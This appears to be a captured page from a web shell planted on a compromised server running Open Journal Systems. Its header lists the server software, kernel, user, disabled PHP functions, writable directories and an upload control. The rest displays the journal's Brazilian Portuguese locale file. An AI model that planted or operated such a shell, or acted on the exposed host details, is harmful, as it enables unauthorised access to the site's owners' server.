KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/pt_BR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/pt_BR/default.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-09-30T11:58:53-07:00\n"
"PO-Revision-Date: 2020-06-08 11:54+0000\n"
"Last-Translator: Diego José Macêdo <[email protected]>\n"
"Language-Team: Portuguese (Brazil) <http://translate.pkp.sfu.ca/projects/ojs/"
"default/pt_BR/>\n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "section.default.title"
msgstr "Artigos"

msgid "section.default.abbrev"
msgstr "ART"

msgid "section.default.policy"
msgstr ""

msgid "default.genres.article"
msgstr "Texto do Artigo"

msgid "default.contextSettings.checklist.notPreviouslyPublished"
msgstr "A contribuição é original e inédita, e não está sendo avaliada para publicação por outra revista; caso contrário, deve-se justificar em \"Comentários ao editor\"."

msgid "default.contextSettings.checklist.fileFormat"
msgstr "O arquivo da submissão está em formato Microsoft Word, OpenOffice ou RTF."

msgid "default.contextSettings.checklist.addressesLinked"
msgstr "Onde disponível, os URLs para as referências foram fornecidos."

msgid "default.contextSettings.checklist.submissionAppearance"
msgstr "O texto está em espaço simples; usa uma fonte de 12-pontos; emprega itálico em vez de sublinhado (exceto em endereços URL); as figuras e tabelas estão inseridas no texto, não no final do documento na forma de anexos."

msgid "default.contextSettings.checklist.bibliographicRequirements"
msgstr "O texto segue os padrões de estilo e requisitos bibliográficos descritos em <a href=\"{$indexUrl}/{$contextPath}/about/submissions#authorGuidelines\">Diretrizes para Autores</a>, na página Sobre a Revista."

msgid "default.contextSettings.privacyStatement"
msgstr "<p>Os nomes e endereços informados nesta revista serão usados exclusivamente para os serviços prestados por esta publicação, não sendo disponibilizados para outras finalidades ou a terceiros.</p>"

msgid "default.contextSettings.openAccessPolicy"
msgstr "Esta revista oferece acesso livre imediato ao seu conteúdo, seguindo o princípio de que disponibilizar gratuitamente o conhecimento científico ao público proporciona maior democratização mundial do conhecimento."

msgid "default.contextSettings.forReaders"
msgstr ""
"Incentivamos os leitores a se inscreverem no serviço de notificação de "
"publicação deste periódico. Use o <a href=\"{$indexUrl}/{$contextPath}/user/"
"register\">Registrar</a> link na parte superior da página inicial da "
"revista. Esse registro fará com que o leitor receba o Índice por e-mail para "
"cada nova edição da revista. Essa lista também permite que o periódico "
"reivindique um certo nível de suporte ou leitores. Veja a <a href=\""
"{$indexUrl}/{$contextPath}/about/submissions#privacyStatement\">Declaração de "
"privacidade da revista</a>, que garante aos leitores que seu nome e endereço "
"de e-mail não serão usados para outros fins."

msgid "default.contextSettings.forAuthors"
msgstr "Interessado em enviar para esta revista? Recomendamos que você analise a <a href=\"{$indexUrl}/{$contextPath}/about\">About the Journal</a> página para as políticas de seção da revista, bem como as <a href=\"{$indexUrl}/{$contextPath}/about/submissions#authorGuidelines\">Diretrizes para autores</a>. Autores precisam <a href=\"{$indexUrl}/{$contextPath}/user/register\">registrar-se</a> com a revista antes de enviar ou, se já estiver registrado, pode simplesmente <a href=\"{$indexUrl}/index/login\"> fazer log in</a> e iniciar o processo de cinco etapas."

msgid "default.contextSettings.forLibrarians"
msgstr "Encorajamos bibliotecários de pesquisa a listar este periódico entre os itens de periódicos eletrônicos de sua biblioteca. Além disso, pode ser interessante notar que o sistema de publicação de código aberto desta revista é adequado para as bibliotecas hospedarem seus professores para usarem com os periódicos envolvidos na edição (veja <a href=\"http://pkp.sfu.ca/ojs\">Open Journal Systems</a>)."

msgid "default.contextSettings.lockssLicense"
msgstr "Este periódico utiliza o sistema LOCKSS para criar um sistema de arquivamento distribuído entre as bibliotecas participantes e permite que essas bibliotecas criem arquivos permanentes do periódico para fins de preservação e restauração. <a href=\"http://www.lockss.org/\">More...</a>"

msgid "default.contextSettings.clockssLicense"
msgstr "Esta revista utiliza o sistema CLOCKSS para criar um sistema de arquivos distribuídos entre bibliotecas participantes e permite que tais bibliotecas mantenham cópias permanentes da revista para propósitos de preservação e recuperação. <a href=\"http://clockss.org/\">Saiba mais...</a>"

msgid "default.groups.name.manager"
msgstr "Gerente da revista"

msgid "default.groups.plural.manager"
msgstr "Gerentes da revista"

msgid "default.groups.abbrev.manager"
msgstr "GR"

msgid "default.groups.name.editor"
msgstr "Editor da revista"

msgid "default.groups.plural.editor"
msgstr "Editores da revista"

msgid "default.groups.abbrev.editor"
msgstr "ER"

msgid "default.groups.name.guestEditor"
msgstr "Editor convidado"

msgid "default.groups.plural.guestEditor"
msgstr "Editores convidados"

msgid "default.groups.abbrev.guestEditor"
msgstr "EConv"

msgid "default.groups.name.sectionEditor"
msgstr "Editor de seção"

msgid "default.groups.plural.sectionEditor"
msgstr "Editor de seção"

msgid "default.groups.abbrev.sectionEditor"
msgstr "ESeç"

msgid "default.groups.name.subscriptionManager"
msgstr "Gerente de assinatura"

msgid "default.groups.plural.subscriptionManager"
msgstr "Gerentes de assinatura"

msgid "default.groups.abbrev.subscriptionManager"
msgstr "GAssin"

msgid "default.genres.researchInstrument"
msgstr "Instrumento de pesquisa"

msgid "default.genres.researchMaterials"
msgstr "Materiais de pesquisa"

msgid "default.genres.researchResults"
msgstr "Resultados de pesquisa"

msgid "default.genres.transcripts"
msgstr "Transcrições"

msgid "default.genres.dataAnalysis"
msgstr "Análise de dados"

msgid "default.genres.dataSet"
msgstr "Conjunto de dados"

msgid "default.genres.sourceTexts"
msgstr "Textos fonte"

msgid "default.groups.name.externalReviewer"
msgstr "Avaliador"

msgid "default.groups.plural.externalReviewer"
msgstr "Avaliadores"

msgid "default.groups.abbrev.externalReviewer"
msgstr "A"

msgid "default.contextSettings.emailSignature"
msgstr ""
"<br/>\n"
"________________________________________________________________________<br/>"
"\n"
"<a href=\"{$contextUrl}\">{$contextName}</a>"

msgid "section.default.title"
msgstr "Artigos"

msgid "section.default.abbrev"
msgstr "ART"

msgid "section.default.policy"
msgstr "Política padrão de seção"

msgid "default.genres.article"
msgstr "Texto do artigo"

KUNTUL | JINGKONTOT |